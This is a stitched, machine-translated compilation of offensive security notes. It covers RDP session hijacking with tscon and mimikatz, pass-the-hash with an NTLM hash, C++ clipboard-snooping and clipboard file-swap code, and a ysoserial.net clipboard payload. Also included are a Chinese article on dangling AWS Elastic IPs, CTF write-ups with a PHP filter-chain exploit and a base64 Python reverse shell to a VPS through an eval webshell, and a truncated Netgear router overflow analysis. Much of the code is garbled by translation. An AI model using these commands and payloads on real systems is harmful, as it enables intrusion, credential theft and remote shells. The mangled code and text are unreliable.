SC SESSHIJACK BINPATH='CMD.EXE /K TSCON 2 /DEST:RDP-TCP#1'

ネットスタートSesshijack 20201214142146

20201214142235

3。ミミカッツ

特権:3360Debug

TS:セッション

toekn:3360Elevate

TS:REMOTE /ID:2 20201214143542 20201214143555

4。パスワードなしのハイジャックをシフト

com hijacking shift backdoor in webshell 20201214143759

20201214144009

20201214144020

rdpclip.exe utilization

RDPサービスは、テキストとファイルをコピーして貼り付けることができます。主にこのrdpclip.exeプロセスを通じて実装されています。コピーの特定の操作を知りたい場合は、Clipspyを使用してクリップボードの変更を表示できます。

ATTCKで著作権を使用してコピーのテキストコンテンツを取得する多くの開示方法を見ました。https://Research.Checkpoint.com/2019/Reverse-rdp-Attack-Code-execution-on-rdp-clients/hook rdpclip.exeにも表示されています。

1。せん断ボード監視

10秒ごとに、クリップボードのコンテンツを読んでローカルに保存します。

#include例外

#include iostream

#include ostream

#include stdexcept

#include文字列

#include windows.h

#include fstream

名前空間STDを使用。

クラスraiiclipboard

{

public:

raiiclipboard()

{

if(!openclipboard(null))

runtime_errorを投げます( 'クリップボードを開けません。');

//.またはクリップボードエラーのカスタム例外クラスを定義します。

}

〜RaiicLipboard()

{

closeclipboard();

}

//コピーを禁止します

private:

raiiclipboard(const raiiclipboard);

raiiclipboard operator=(const raiiclipboard);

};

クラスraiitextgloballock

{

public:

明示的なraiitextgloballock(ハンドルhdata)

: m_hdata(hdata)

{

m_psz=static_castconst char*(globallock(m_hdata));

if(!m_psz)

runtime_errorをスロー( 'クリップボードテキストでロックを取得できません。');

}

〜raiitextgloballock()

{

GlobalUnLock(M_HDATA);

}

const char* get()const

{

M_PSZを返します。

}

private:

M_HDATAを処理します。

const char* m_psz;

//コピーを禁止します

raiitextgloballock(const raiitextgloballock);

raiitextgloballockオペレーター=(const raiitextgloballock);

};

文字列getClipBoardText()

{

raiiclipboardクリップボード。

hdata=getClipBoardData(CF_TEXT);

if(hdata==null){

戻る '';

//runtime_errorをスロー( 'クリップボードテキストを取得できません。');

}

raiitextgloclock textgloballock(hdata);

string text(textgloballock.get());

テキストを返します。

}

void savedata(string data){

ofstream out( 'info.txt'、iOS:3360App);

if(out.is_open())

{

out data + '\ n';

out '----------------------------- \ n';

out.close();

}

}

int main()

{

static const int kexitok=0;

static const int kexiterror=1;

文字列data1='';

文字列data2='';

試す

{

while(true){

data2=getClipBoardText();

if(data1!=data2){

cout data2 endl;

savedata(data2);

}

それ以外{

Cout 'Clip Actionを待っています.' endl;

睡眠(300000);

}

data1=data2;

睡眠(10000);

}

Kexitokを返します。

}

キャッチ(const例外e)

{

cerr '*** error:' e.what()endl;

Kexiterrorを返します。

}

} 20201214201005

安っぽいRumblesの記事によると。 Get-ClipboardContents.ps1を使用してクリップボードコンテンツを取得することもできます。複数のRDPインターフェイスで取得できます。

3924 888 rdpclip.exe x64 3 dmz2 \ rasta

注射3924 X64 SMB

PowerShell-Import D: \ Tools \ get-clipboardContents.ps1

PowerShell Get-ClipboardContents -Pollinterval 1 20201214194146

2。反撃rdp

ハンギングディスクなしで逆にファイルを管理者に転送する方法は?オンラインで2つの方法を見つけました。

1.フックGetClipBoardData関数とDragQueryFilew関数は似ています。 2日間のデバッグの後、私はついにすべての兄弟の助けを借りてそれを見つけました。

2。後で、前のセクションでクリップボードの内容を取得できると思ったので、彼がコピーしたファイルを変更できました。

CVE-2019-0887

Li Yongdeには、紙に記載されているのと同じ考えがあります。 wcsrchr(szfile、 '\')はアドレスを受信するために使用されるため、Microsoftは./この種のパスもサポートしています。脆弱性の理由は、Winrar Pathの理由に似ています。

Detours Libraryを使用してGetClipboardData関数とDragQueryFilew関数をフックし、ファイルデータとパスを追加して最終効果を実現します:k05qi-id7g5

クリップボードファイルを交換

#include iostream

#include windows.h

#include shlobj.h

int copyfiletoclipboard(char szfilename []);

int main()

{

copyfileToclipboard( 'c: \\ windows \\ system32 \\ cmd.exe');

0を返します。

}

int copyfiletoclipboard(char szfilename [])

{

uint udropeffect;

hglobal hgbleffect;

lpdword lpddropeffect;

ドロップファイルstdrop;

hglobal hgblfiles;

LPSTR LPDATA;

udropeffect=RegisterClipboardFormat( '優先DROPEFFECT');

hgbleffect=globalAlloc(gmem_zeroinit | gmem_moveable | gmem_ddeshare、sizeof(dword));

lpddropeffect=(lpdword)globallock(hgbleffect);

*LPDDROPEFFECT=DROPEFFECT_COPY; //copy;スクレイピングと貼り付けにはdropeffect_moveを使用してください

GlobalUnLock(hgbleffect);

stdrop.pfiles=sizeof(dropfiles);

stdrop.pt.x=0;

stdrop.pt.y=0;

stdrop.fnc=false;

stdrop.fwide=false;

hgblfiles=globalAlloc(gmem_zeroinit | gmem_moveable | gmem_ddeshare、sizeof(dropfiles) + strlen(szfilename) + 2);

lpdata=(lpstr)globallock(hgblfiles);

memcpy(lpdata、stdrop、sizeof(dropfiles));

strcpy(lpdata + sizeof(dropfiles)、szfilename);

GlobalUnLock(hgblfiles);

openclipboard(null);

emptyClipboard();

setclipboardData(CF_HDROP、hgblfiles);

setclipboarddata(udropeffect、hgbleffect);

closeclipboard();

返品1;

このように、管理者がサーバーからファイルをコピーしてマシンにダウンロードした後、ファイルはcmd.exeに置き換えられます

bd2xkcunf0n1123.png

.NET脱介入

`https://www.nccgroup.com/uk/about-us/newsroom-and-events/blogs/2018/decred/be-deserialisation-in-net-methods-and-classes-code-code-execution-via-paste/`で紹介されたアイデアを参照してください。 (私はこの方法をプレイすることを決して期待していませんでした)

`https://github.com/pwntester/ysoserial.net`を利用します

使用プロセスは、クリップボードを貼り付けるときにシリアル化コードに置き換えることです。一部のアプリケーションが貼り付けられると、脱出操作がトリガーされます。さらに、ターゲット.NETアプリケーションがより高い権限で実行される場合、許可プロモーションとして使用することもできます。 (現在のユーザーはUACアカウントのパスワードを持っていませんが、管理者はUACの前に.NETアプリケーションを開きました。)ysoserial.exe -p Clipboard -c calc -f System.String q9tct-86xmr

テストプログラム:

PowerShell ISE

vs

描画ツール

TextBox、PasswordBox、またはRichTextBoxを使用するWPFアプリケーションも影響を受けます。

rdp pth

ユーザーハッシュログインウィンドウで

mstsc

サーバーは、Windows 8.1 Windows Server 2012 R2でデフォルトで有効になっている制限付き管理モードを有効にする必要があります。同時に、Win 7とWindows Server 2008 Rがインストールされている場合、2871997と2973351パッチもサポートされています。クライアントは、制限付き管理モードをサポートする必要があります

制限付き管理モードをオンにします

reg add 'hklm \ system \ currentControlset \ control \ lsa' /v disableatretedadmin /t reg_dword /d 000000000 /f有効にすると、MSTSC.EXE /RESTIDEDADMINログインパスワードなしで、現在のユーザーのハッシュは検証に使用されます。

mimikatz

mimikatz.exe

特権:Debug

sekurlsa:pth /user:fbiwarning /domain:172.16.142.136 /ntlm:44f9ea6a7743a8ea6f1956384c39887b '/run:mstsc.exe /restrictedadmin'

ghostbuster.png

當你在AWS上部署基礎設施時,你可以啟動EC2實例,這些實例有一個與它們相關的IP。當你創建指向這些IP的DNS記錄,但在EC2實例被賦予一個新IP或被銷毀後忘記刪除DNS記錄時,你很容易受到子域劫持攻擊。

研究人員已經創建了一個名為Ghostbuster的工具,它的工作原理是枚舉與你擁有的每個AWS 賬戶關聯的所有彈性/公共IP,然後檢查是否有任何DNS 記錄指向你不擁有的任何彈性IP AWS 賬戶。請務必注意,此工具要求你完全覆蓋你的AWS 賬戶,以避免誤報。

關於如何設置和使用該工具的進一步說明可以在Github repo的README文件中找到。

在過去的十年裡,很多公司都切實採用了AWS、Azure和GCP等雲服務提供商,快速構建基礎設施,以滿足不斷增長的業務需求。遷移到雲原生架構給採用它的組織帶來了許多挑戰,從雲攻擊面的可見性到雲特定的安全漏洞。

雖然主要的雲服務提供商確實提供了許多安全方面的好處,但當涉及到安全時,它們都是在“共享責任”的模式下運行的。研究人員已經在AWS中看到了大量的配置錯誤漏洞,包括Route53 劫持、Cloudfront 劫持、ELB 劫持,以及現在的Elastic IP 劫持。這些錯誤配置被認為是屬於共享責任模型的客戶方,雖然AWS最終在其平台上部署了Route53、Cloudfront和ELB劫持的緩解措施,但這些漏洞被利用了好幾年。

值得注意的是,AWS並不是唯一一個在這些漏洞上存在漏洞的公司,微軟Azure和谷歌云平台在其基於雲的產品中也面臨著這一漏洞,許多其他雲提供商也是如此。

隨著雲攻擊面的快速擴展和流動性的增加,很難獲得對這些風險的可見性,尤其是在規模上。再加上雲提供商在部署緩解他們認為應該是共享責任模型中客戶方面的漏洞時行動緩慢,許多組織都在努力控制這些錯誤的配置漏洞。

為此安全公司Assetnote開源一個名為Ghostbuster的工具,Ghostbuster 是一款自動化瀏覽器測試工具,基於phantomjs,意味著你得到一個真正的瀏覽器,一個真正的DOM,仿真測試環境,可用於修復AWS環境中潛在的懸掛彈性IP(dangling elastic IP)漏洞。

什麼是懸掛彈性IP漏洞?當你將基礎設施部署到AWS 時,你可能會啟動具有關聯IP 的EC2 實例。當你創建指向這些IP 的DNS 記錄,但在EC2 實例被賦予新IP 或被銷毀後忘記刪除DNS 記錄時,你很容易受到子域劫持攻擊。

關於彈性IP劫持已經做了大量的研究,攻擊者可能會不斷地聲稱彈性IP,直到他們獲得與目標公司的子域名相關聯的IP。

雖然AWS經常會禁止試圖執行這種攻擊模式的賬戶,但AWS還沒有發布修復方案。

懸掛彈性IP子域劫持攻擊的影響比典型的子域劫持更嚴重,在子域劫持中,你只能控制所服務的內容。通過懸掛的彈性IP劫持,攻擊者可能還會進行如下操作:

通過ACME TLS 質詢為子域申請SSL 證書;

監聽所有端口上的流量(可能發現敏感信息仍在發送到子域);

運行具有竊取HTTPOnly cookie 能力的服務器端腳本,當cookie 範圍為*.domain.com 時,通常會導致一鍵式帳戶劫持攻擊;

研究人員並不是第一個注意到這個漏洞的人,最早關於彈性IP劫持的文章可以追溯到2015年,作者是Matthew Bryant。

自2015年以來,許多人嘗試了與Matthew類似的解決方案,他們堅持使用彈性IP分配和釋放的方法,直到他們找到目標公司使用的彈性IP。

其他PoC包括EIP Fish和Flying a False Flag - Cloud Racoon。

值得注意的是,一些漏洞賞金獵人對懸掛彈性ip的漏洞進行了大量研究。除了通過漏洞獎勵計劃或購買像安全平台(能夠主動檢測此漏洞)這樣的產品的公司之外,對於這些攻擊,研究人員唯一的保護措施就是AWS禁止他們認定的執行彈性IP劫持的賬戶。不幸的是,禁止賬戶並不是一個可行的解決方案。

AWS是如何處理這個漏洞的?研究人員已經與AWS的各個團隊就這個漏洞進行了多次討論,並試圖構建工具,以幫助該企業找到並緩解懸掛彈性IP劫持。

從歷史上看,AWS採取的方法是將這種行為有效地視為對其公共API 的濫用,並簡單地禁止那些分配或釋放彈性IP 過快的賬戶,或者AWS認為是濫用的模式。雖然這在一定程度上(特別是在規模上)提高了攻擊的門檻,但這並不是有效的長期緩解根本漏洞的辦法。

AWS表示,他們正在努力緩解這一漏洞,但這項緩解措施的具體細節和實施表仍不清楚。

就目前而言,這些技術仍然可行。

使用Ghostbuster緩解Ghostbuster是一款自動化瀏覽器測試工具,基於phantomjs,意味著你得到一個真正的瀏覽器,一個真正的DOM,仿真測試環境。

這個漏洞普遍存在,受此攻擊載體影響的組織數量不斷增加,因為公司繼續將更多的服務遷移到公共雲,特別是AWS。在關閉EC2實例後沒有刪除DNS記錄,這是一個很容易被引用的漏洞,並且由於自動配置而變得更加嚴重。

在AWS發布任何官方修復之前,研究人員建議你查看其新發布的開源工具Ghostbuster,它可以用來檢測潛在的懸掛彈性ip。

你可以通過運行:pip3 install ghostbuster 來安裝該工具,然後通過使用ghostbuster 命令來使用該工具。

該工具的工作原理是枚舉與你擁有的每個AWS帳戶相關的所有彈性/公共ip,然後檢查是否有任何DNS記錄指向你的任何AWS帳戶中不擁有的彈性ip。需要注意的是,該工具要求你完全覆蓋你的AWS帳戶,以避免誤報。

該工具對用戶非常友好,並使用你的.aws/config和.aws/憑據文件來遍歷每個配置的帳戶並執行處理。

此外,如果你使用Cloudflare 而不是Route53 來管理你的DNS,該工具還與Cloudflare 集成,以提取區域和關聯的DNS 記錄以進行分析。

如果你不使用Route53或Cloudflare來管理你的DNS區域,你可以向該工具(CSV)提供手動輸入。也可以配置Slack的webhook,以便該工具在檢測到潛在的劫持時發送通知。

該工具的設計方式使其可以頻繁地作為cron 作業運行,從而通知你隨時可能出現的潛在彈性IP劫持。

使用該工具時可以使用以下選項:

1.png

該工具的輸出如下所示:

2.png

關於如何設置和使用該工具的更多說明可以在我們的Github repo for Ghostbuster中的README 文件中找到。

總結大規模管理雲架構的安全性可能很困難,公司在EC2資源被破壞後留下DNS記錄是非常普遍的。

與僅能控制頁面內容的典型子域劫持攻擊不同,彈性IP劫持的風險要高得多,攻擊者能夠聲稱SSL證書,偵聽流量,並在海量cookie範圍的情況下執行帳戶劫持攻擊。

AWS 的預期緩解措施的細節及其發布的時間表仍不清楚。與此同時,你可以使用Ghostbuster在AWS環境中獲取懸掛的彈性ip。

web

ezphp

タイトル説明:衛星通信技術に焦点を当てた研究チームは、データ送信の効率とセキュリティを改善するためのコミュニケーションシステムを改善するために取り組んでいます。チームは、通信システムの開発を改善するためにPHP 8.3.2を使用することにしました。

テストポイント:PHPフィルターチェーンオラクル

PHPフィルターチェーン—— Oracleベースのファイルリーディング攻撃

参照:https://xz.aliyun.com/t/12939?time__1311=mqmhqix%2bxfod7dloagkwepsazhg%3d4d#toc-16

質問のソースコードは次のとおりです

?php

highlight_file(__ file__);

//flag.php

if(isset($ _ post ['f'])){

echo hash_file( 'md5'、$ _post ['f']);

}

image-20240721022130265

ここで入手可能なプロジェクト:https://github.com/synacktiv/php_filter_chains_oracle_exploit/

テストポイント:PHPフィルターチェーンを使用- Oracleベースのファイルリーディング攻撃で、EXP実行を生成します。この質問は、PHPバージョン番号が条件を満たしているだけであることを促します。

image-20240721022317838

ペイロードを実行する、ここでさらに数回実行する必要があるかもしれません

python3 filters_chain_oracle_exploit.py - ターゲットhttp://eci-2zea1zzp9231ugqw9htd.cloudeci1.icunqiu.com/---file flag.php -parameter f

アクセス /flag.php?ezphpphp8生成されたソースコードを読み取ります

image-20240721022347849

image-20240721022524879

?php

if(isset($ _ get ['ezphpphp8'])){

highlight_file(__ file__);

} それ以外{

die( 'no');

}

$ a=new class {

function __construct()

{

}

関数getFlag()

{

System( 'cat /flag');

}

};

Unset($ a);

$ a=$ _get ['ezphpphp8'];

$ f=new $ a();

$ f-getflag();

この質問は、PHPバージョンがPHP 8.3.2であることを促しています。 PHPの公式Webサイトにアクセスして、Changelogを表示し、GH-13097を直接ロックします。

image-20240721030306000

ローカルデバッグ、匿名のクラスを使用してフラグを読むことができ、ペイロードを構築できることがわかりました

コンテナをローカルに作成します。

Docker run -ITD -P 1238:80 PHP:8.3.2 -APACHE

docker exec -itコンテナID /bin /bash

flag.phpとテストコードを次のように配置します。

?php

if(isset($ _ get ['ezphpphp8'])){

//highlight_file(__ file__);

} それ以外{

//die( 'no');

}

$ anonymous=new class {

function __construct()

{

}

関数getFlag()

{

System( 'cat /flag');

}

};

$ a=get_class($ anonymous);

echo urlencode($ a);

echo '\ n';

Unset($ anonymous);

//echo get_class($ a)。 ':今、あなたは私を見ます.';

$ a=urldecode( 'class%40anonymous%00%2fvar%2fwww%2fhtml%2fflag.php%3a7%240');

$ f=new $ a();

$ f-getflag();

var_dump($ f);

//新しい例外を投げる(

//get_class($ anonymous)。今、あなたは\ 't!'をしないでください

//e_user_error

//);

GetFlagメソッドを実行できることがわかります。

image-20240721030403850

image-20240721022458707

expを構築する:

/flag.php?ezphpphp8=anonymous

/flag.php?ezphpphp8=class@anonyous%00/var/www/html/flag.php33607$1

/flag.php?ezphpphp8=class@anonyous%00/var/www/html/flag.php33607$0

image-20240721022543080

unauth

ログインポートを起動します

image-20240721022613215

Webサイトパス/www.zipの管理者とのパスワードが漏れました:

image-20240721022644892

www.zip漏れたソースコードは次のとおりです。

?php

if(!isset($ _ server ['php_auth_user'])){

ヘッダー( 'www-authenticate: Basic Realm='制限領域'');

ヘッダー( 'http/1.0 401承認');

Echo 'Xiao Mingは運用およびメンテナンスエンジニアであり、最近Webサイトにバグがありました。 ';

出口;

} それ以外{

$ validuser='admin';

$ validPass='2E525E29E465F45D8D7C56319FE73036';

if($ _server ['php_auth_user']!=$ validuser || $ _server ['php_auth_pw']!=$ validpass){

ヘッダー( 'www-authenticate: Basic Realm='制限領域'');

ヘッダー( 'http/1.0 401承認');

エコー「無効な資格情報」;

出口;

}

}

@eval($ _ get ['cmd']);

highlight_file(__ file__);

簡単な監査を行うことができ、コマンドを実行できますが、それらのほとんどは禁止されています。

ログインした後、パスワードCMDを搭載したTrojanの文があり、多くの機能を禁止しました。テスト後、PCNTL_EXECを使用してシェルをリバウンドできることがわかりました。

//パスパラメーター、リバウンドシェルを投稿します

1=pcntl_exec( '/usr/bin/python'、array( '-c'、 'import socket、subprocess、os; s=socket.socket(socket.af_inet、socket.sock_stream、socket.sol_tcp); s.connect((' vpsアドレス」、ポートpot) sh '、' -i ']);')

最終的に、あなたは権利を上げる必要があります。私はsuidを試しましたが、失敗しました。パスワードが管理者ユーザーパスワードである構成ファイルconfig.inc.phpがあることがわかりました。

image-20240721022721413

! - ?php

#MySQLデータベースに接続するのに問題があり、以下のすべての変数が正しい場合

#localhostから127.0.0.1に「db_server」変数を変更してみてください。ソケットのために問題を修正します。

#修正について@digininjaに感謝します。

#使用するデータベース管理システム

$ dbms='mysql';

#$ dbms='pgsql'; //現在無効になっています

#データベース変数

#Warning: db_databaseで指定されているデータベースは、セットアップ中に完全に削除されます。

#DVWA専用のデータベースを使用してください。

#mariadbを使用している場合は、rootを使用できません。専用のDVWAユーザーを作成する必要があります。

#これの詳細については、readme.mdを参照してください。

$ _DVWA=array();

$ _DVWA ['db_server']='127.0.0.1';

$ _dvwa ['db_database']='dvwa';

$ _dvwa ['db_user']='root';

$ _DVWA ['DB_PassWord']='B90E0086D8B1165403DE6974C4167165';

#PostgreSQL/PGSQLデータベースの選択でのみ使用。

$ _dvwa ['db_port']='5432';

#recaptcha設定

#「不安定なCaptcha」モジュールに使用されます

#独自のキーを生成する必要がありますat: https://www.google.com/recaptcha/admin

$ _dvwa ['recaptcha_public_key']='6ldk7xitaazzaajqtfl7fu6i-0apl8khhieat_yjg';

$ _dvwa ['recaptcha_private_key']='6ldk7xitazzaal_uw9yxvuopoihpzlfw2k1n5nvq';

#デフォルトのセキュリティレベル

#各セッションのセキュリティレベルのデフォルト値。

#デフォルトは「不可能」です。これを「低」、「中」、「高」、または不可能」に設定することをお勧めします。

$ _DVWA ['Default_Security_Level']='Impossion';

#デフォルトのphpidsステータス

#各セッションでPHPIDSステータス。

#デフォルトは「無効」です。これを「有効」または「無効」のいずれかに設定できます。

$ _DVWA ['Default_Phpids_Level']='Disabled';

#verbose phpidsメッセージ

#これを有効にすると、WAFがブロックされたリクエストでリクエストをブロックした理由が示されます。

#デフォルトは「無効」です。これを「真」または「偽」のいずれかに設定できます。

$ _DVWA ['default_phpids_verbose']='false';

? -

パケットはシェルをリバウンドし、コマンドをインタラクティブシェルに実行し、取得したパスワードB90E0086D8B1165403DE6974C4167165を使用して管理者ユーザーに切り替えてフラグを読み取ります

得る/?cmd=pcntl_exec( '/usr/bin/python'、['-c'、base64_decode( 'aw1wb3j0ihnvy2tldcxzdwjwcm9jz) xnzlg9zo3m9c29ja2v0lnnvy2tldchzb2nrzxququzfsu5fvcxzb2nrzxquu09ds19tvfjfqu0po3muy29ubm vjdcgoijey4xmjMumtizljeyismtiznckpo29zlmr1cdiocy5mawxlbm8okwktsgb3muzhvwmizlmz pbgvubygpldepo29zlmr1cdiocy5mawxlbm8okswyktpbxbvcnqgchr5oybwdhkuc3bhd24oinnoiik='))); HTTP/1.0

host: xxx.com

pragma: no-cache

Cache-Control: No-Cache

Authorization: BASIC YWRTAW46MMU1MJVLMJLLNDY1ZJQ1ZHKN2M1NJMXOWZLNZMWMZY=

アップグレード-Insecure-Requests: 1

www-authenticate: Basic Realm='制限領域

user-agent: mozilla/5.0(Macintosh; Intel Mac OS X 10_15_7)AppleWebkit/537.36(Khtml、geckoのような)Chrome/123.0.0.0 Safari/537.36

Accept: Text/HTML、Application/XHTML+XML、Application/XML; Q=0.9、Image/Avif、Image/Webp、Image/Apng、*/*; Q=0.8、Application/Signed-Exchange; v=B3; Q=0.7

Accept-Encoding: gzip、deflate

Accept-Language: ZH-CN、ZH; Q=0.9、JA; Q=0.8、VI; Q=0.7

cookie: phpsessid=

Connection:閉じます

image-20240721022743516

遊び場

RUSTソースコード監査の質問は、次のようにソースコードを提供します、この質問は基本的に解決されます

#[macro_use] extern crateロケット;

STD:FSを使用します。

STD:FS:3360FILEを使用します。

STD:IO:3360WRITEを使用します。

STD:Process:Commandを使用します。

RAND:3360RNGを使用します。

#[得る('/')]

fn index() - string {

fs:read_to_string( 'main.rs')。unwrap_or(string:default()))

}

#[post( '/rust_code'、data='code')]

fn run_rust_code(code: string) - string {

code.contains( 'std'){

return 'error: stdは許可されていません'.to_string();

}

//ランダムな5長さファイル名を生成します

let file_name=rand:3360thread_rng()

.sample_iter(rand:3360distributions:alphanumeric)

.take(5)

.map(char: -from)

.COLLECT:STRING();

let let ok(mut file)=file:3360create(format!( 'playground/{}。rs'、file_name)){

file.write_all(code.as_bytes());

}

OK(build_output)=command:New( 'rustc')の場合

.arg(format!( 'playground/{}。rs'、file_name)))

.arg( '-C')

.arg( 'debuginfo=0')

.arg( '-C')

.arg( 'opt-level=3')

.arg( '-o')

.arg(format!( 'playground/{}'、file_name))

.output(){

if!build_output.status.success(){

FS:REMOVE_FILE(format!( 'playground/{}。rs'、file_name));

return String:from_utf8_lossy(build_output.stderr.as_slice())。to_string();

}

}

FS:REMOVE_FILE(format!( 'playground/{}。rs'、file_name));

OK(output)=command:New(format!( 'playground/{}'、file_name))の場合

.output(){

if!output.status.success(){

FS:REMOVE_FILE(format!( 'playground/{}'、file_name));

return string:from_utf8_lossy(output.stderr.as_slice())。to_string();

} それ以外{

FS:REMOVE_FILE(format!( 'playground/{}'、file_name));

return string:from_utf8_lossy(output.stdout.as_slice())。to_string();

}

}

return string:default();

}

#[打ち上げ]

fn rocket() - _ {

figment=rocket:config3360:figment()

.merge(( 'address'、 '0.0.0.0'));

Rocket:Custom(figment).Mount( '/'

簡介在這篇文章中,我們將為讀者詳細介紹我們的小組成員Alex Plaskett、Cedric Halbronn和Aaron Adams於2021年9月發現的一個基於堆棧的溢出漏洞,目前,該漏洞已通過Netgear的固件更新得到了相應的修復。

該漏洞存在於KC_PRINT服務(/usr/bin/KC_PRINT),該軟件默認運行於Netgear R6700v3路由器上。雖然這是一個默認服務,但只有啟用ReadySHARE功能(即打印機通過USB端口物理連接到Netgear路由器)時,該漏洞才有可能被觸發。由於該服務不需要進行任何配置,因此,一旦打印機連接到路由器,攻擊者就利用默認配置下的這個安全漏洞。

此外,攻擊者還能在路由器的局域網端利用這個安全漏洞,並且無需經過身份驗證。如果攻擊得手,攻擊者就能在路由器上以admin用戶(具有最高權限)的身份遠程執行代碼。

我們的利用方法與這裡(https://github.com/pedrib/PoC/blob/master/advisories/Pwn2Own/Tokyo_2019/tokyo_drift/tokyo_drift.md)使用的方法非常相似,只是我們可以修改admin密碼並啟動utelnetd服務,這使我們能夠在路由器上獲得具有特權的shell。

儘管這里分析和利用的是V1.0.4.118_10.0.90版本中的安全漏洞(詳見下文),但舊版本也可能存在同樣的漏洞。

注意:Netgear R6700v3路由器是基於ARM(32位)架構的。

我們將該漏洞命名為“BrokenPrint”,這是因為“KC”在法語中的發音類似於“cassé”,而後者在英語中意味著“broken”。

漏洞詳情關於ReadySHARE這個視頻對ReadySHARE進行了很好的介紹,簡單來說,借助它,我們就能通過Netgear路由器來訪問USB打印機,就像打印機是網絡打印機一樣。

1.png

到達易受攻擊的memcpy()函數需要說明的是,雖然KC_PRINT二進製文件沒有提供符號信息,卻提供了很多日誌/錯誤函數,其中包含一些函數名。下面顯示的代碼是通過IDA/Hex-Rays反編譯得到的代碼,因為我們沒有找到這個二進製文件的開放源代碼。

KC_PRINT二進製文件創建了許多線程來處理不同的特性:

1.png

我們感興趣的第一個線程處理程序是地址為0xA174的ipp_server()函數。我們可以看到,它會偵聽端口631;並且接受客戶端連接後,它會創建一個新線程,以執行位於0xA4B4處的thread_handle_client_connection()函數,並將客戶端套接字傳遞給這個新線程。

void__noreturnipp_server()

{

//[COLLAPSEDLOCALDECLARATIONS.PRESSKEYPADCTRL-'+'TOEXPAND]

addr_len=0x10;

optval=1;

kc_client=0;

pthread_attr_init(attr);

pthread_attr_setdetachstate(attr,1);

sock=socket(AF_INET,SOCK_STREAM,0);

if(sock0)

{

.

}

if(setsockopt(sock,1,SO_REUSEADDR,optval,4u)0)

{

.

}

memset(sin,0,sizeof(sin));

sin.sin_family=2;

sin.sin_addr.s_addr=htonl(0);

sin.sin_port=htons(631u);//listensonTCP631

if(bind(sock,(conststructsockaddr*)sin,0x10u)0)

{

.

}

//acceptupto128clientssimultaneously

listen(sock,128);

while(g_enabled)

{

client_sock=accept(sock,addr,addr_len);

if(client_sock=0)

{

update_count_client_connected(CLIENT_CONNECTED);

val[0]=60;

val[1]=0;

if(setsockopt(client_sock,1,SO_RCVTIMEO,val,8u)0)

perror('ipp_server:setsockoptSO_RCVTIMEOfailed');

kc_client=(kc_client*)malloc(sizeof(kc_client));

if(kc_client)

{

memset(kc_client,0,sizeof(kc_client));

kc_client-client_sock=client_sock;

pthread_mutex_lock(g_mutex);

thread_index=get_available_client_thread_index();

if(thread_index0)

{

pthread_mutex_unlock(g_mutex);

free(kc_client);

kc_client=0;

close(client_sock);

update_count_client_connected(CLIENT_DISCONNECTED);

}

elseif(pthread_create(

g_client_threads[thread_index],

attr,

(void*(*)(void*))thread_handle_client_connection,

kc_client))

{

.

}

else

{

pthread_mutex_unlock(g_mutex);

}

}

else

{

.

}

}

}

close(sock);

pthread_attr_destroy(attr);

pthread_exit(0);

}客戶端處理程序將調用地址為0xA530的do_http函數:

void__fastcall__noreturnthread_handle_client_connection(kc_client*kc_client)

{

//[COLLAPSEDLOCALDECLARATIONS.PRESSKEYPADCTRL-'+'TOEXPAND]

client_sock=kc_client-client_sock;

while(g_enabled!do_http(kc_client))

;

close(client_sock);

update_count_client_connected(CLIENT_DISCONNECTED);

free(kc_client);

pthread_exit(0);

}do_http()函數將讀取一個類似HTTP的請求,為此,它首先要找到以\r\n\r\n結尾的HTTP頭部,並將其保存到一個1024字節的堆棧緩衝區中。然後,它繼續搜索一個POST /USB URI和一個_LQ字符串,其中usblp_index是一個整數。然後,調用0x16150處的函數is_printer_connected()。

為了簡潔起見,這裡並沒有展示is_printer_connected()的代碼,其作用就是打開/proc/printer_status文件,試圖讀取其內容,並試圖通過尋找類似usblp%d的字符串來查找USB端口。實際上,只有當打印機連接到Netgear路由器時才會發現上述行為,這意味著:如果沒有連接打印機,它將不會繼續執行下面的代碼。

unsignedint__fastcalldo_http(kc_client*kc_client)

{

//[COLLAPSEDLOCALDECLARATIONS.PRESSKEYPADCTRL-'+'TOEXPAND]

kc_client_=kc_client;

client_sock=kc_client-client_sock;

content_len=0xFFFFFFFF;

strcpy(http_continue,'HTTP/1.1100Continue\r\n\r\n');

pCurrent=0;

pUnderscoreLQ_or_CRCL=0;

p_client_data=0;

kc_job=0;

strcpy(aborted_by_system,'aborted-by-system');

remaining_len=0;

kc_chunk=0;

//buf_readisonthestackandis1024bytes

memset(buf_read,0,sizeof(buf_read));

//Readin1024bytesmaximum

count_read=readUntil_0d0a_x2(client_sock,(unsigned__int8*)buf_read,0x400);

if((int)count_read=0)

return0xFFFFFFFF;

//ifreceived'100-continue',sendsback'HTTP/1.1100Continue\r\n\r\n'

if(strstr(buf_read,'100-continue'))

{

ret_1=send(client_sock,http_continue,0x19u,0);

if(ret_1=0)

{

perror('do_http()write100Continuexx');

return0xFFFFFFFF;

}

}

//IfPOST/USBisfound

pCurrent=strstr(buf_read,'POST/USB');

if(!pCurrent)

return0xFFFFFFFF;

pCurrent+=9;//pointsafter'POST/USB'

//If_LQisfound

pUnderscoreLQ_or_CRCL=strstr(pCurrent,'_LQ');

if(!pUnderscoreLQ_or_CRCL)

return0xFFFFFFFF;

Underscore=*pUnderscoreLQ_or_CRCL;

*pUnderscoreLQ_or_CRCL=0;

usblp_index=atoi(pCurrent);

*pUnderscoreLQ_or_CRCL=Underscore;

if(usblp_index10)

return0xFFFFFFFF;

//bydefault,willexithereasnoprinterconnected

if(!is_printer_connected(usblp_index))

return0xFFFFFFFF;//exitifnoprinterconnected

kc_client_-usblp_index=usblp_index;然後,它將解析HTTP的Content-Length頭部,並開始從HTTP內容中讀取8個字節。並根據這8個字節的值,調用0x128C0處的do_airippWithContentLength()函數——這正是我們的興趣之所在。

///!\doesnotreadfrompCurrent

pCurrent=strstr(buf_read,'Content-Length:');

if(!pCurrent)

{

//HandlechunkedHTTPencoding

.

}

//nochunkencodinghere,normalhttprequest

pCurrent+=0x10;

pUnderscoreLQ_or_CRCL=strstr(pCurrent,'\r\n');

if(!pUnderscoreLQ_or_CRCL)

return0xFFFFFFFF;

Underscore=*pUnderscoreLQ_or_CRCL;

*pUnderscoreLQ_or_CRCL=0;

content_len=atoi(pCurrent);

*pUnderscoreLQ_or_CRCL=Underscore;

memset(recv_buf,0,sizeof(recv_buf));

count_read=recv(client_sock,recv_buf,8u,0);//8bytesarereadonlyinitially

if(count_read!=8)

return0xFFFFFFFF;

if((recv_buf[2]||recv_buf[3]!=2)(recv_buf[2]||recv_buf[3]!=6))

{

ret_1=do_airippWithContentLength(kc_client_,content_len,recv_buf);

if(ret_10)

return0xFFFFFFFF;

return0;

}

